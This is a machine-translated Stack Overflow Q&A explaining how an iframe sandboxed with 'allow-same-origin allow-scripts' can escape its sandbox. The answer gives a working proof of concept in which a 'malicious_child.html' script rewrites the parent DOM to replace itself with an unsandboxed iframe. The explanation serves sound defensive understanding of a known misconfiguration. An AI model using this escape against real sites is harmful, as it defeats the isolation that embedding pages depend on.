繁体   English   中英

iframe 如何删除自己的沙盒?

[英]How can an iframe remove its own sandboxing?

我正在使用同源 iframe 加载外部小部件(通过跨域脚本加载的 tlk.io)。 我正在尝试为 iframe/widget 提供尽可能低的权限,以将其与我的应用程序隔离。

MDN 给出以下警告:

关于沙盒的注意事项:

当嵌入文档与嵌入页面具有相同的来源时,强烈建议不要同时使用 allow-scripts 和 allow-same-origin,因为这会让嵌入文档删除沙盒属性——这与不使用沙盒属性。

Firefox devtools 向我显示此警告:

一个 iframe 的沙盒属性同时具有允许脚本和允许相同的来源,可以删除其沙盒

我的问题是:在这种情况下( sandbox="allow-same-origin allow-scripts" ) iframe 怎么能删除它的沙箱? 什么 js 代码会执行此操作?

从 iframe 中,我尝试查看window.opener但它是 null。 window.parent不是指父级(编辑:不正确,我错误地使用了 devtools)。 我无法从 iframe 本身中找到对“iframe”的引用...

您可以通过 iframe 对 DOM 进行操作。

有了这两个沙盒属性,没有什么可以阻止嵌入式框架用新的 iframe 替换自身。 一个 iframe 具有它想要启用的任何特权。

索引.html

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
    <title>Bad Sandboxing</title>
  </head>
  <body>
    <p>This is here to space out iframe</p>
    <iframe
      src="malicious_child.html"
      sandbox="allow-same-origin allow-scripts"
      id="mountPoint"
    >
    </iframe>
    <p>This is here to space out iframe</p>
  </body>
</html>

恶意儿童.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Child</title>
</head>
<body>
<script type="text/javascript">
    document.body.innerText = "Loaded into a frame.";

    let parent = window.parent;
    let oldIframe = parent.document.getElementById("mountPoint");
    if (oldIframe != null) {
        // Build a new iframe to replace the old one.
        let newIframe = parent.document.createElement("iframe");
        newIframe.setAttribute("src", "malicious_child.html");
        newIframe.setAttribute("id", "maliciousFrame");
        // Replace Old iFrame
        oldIframe.replaceWith(newIframe);
    } else {
        // When new frame is mounted you will see this alert
        alert(
            "This should not happen since the original iframe did not have 'allow-modals'."
        );
    }
</script>
</body>
</html>

这是具有此设置的Code Sanbox

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM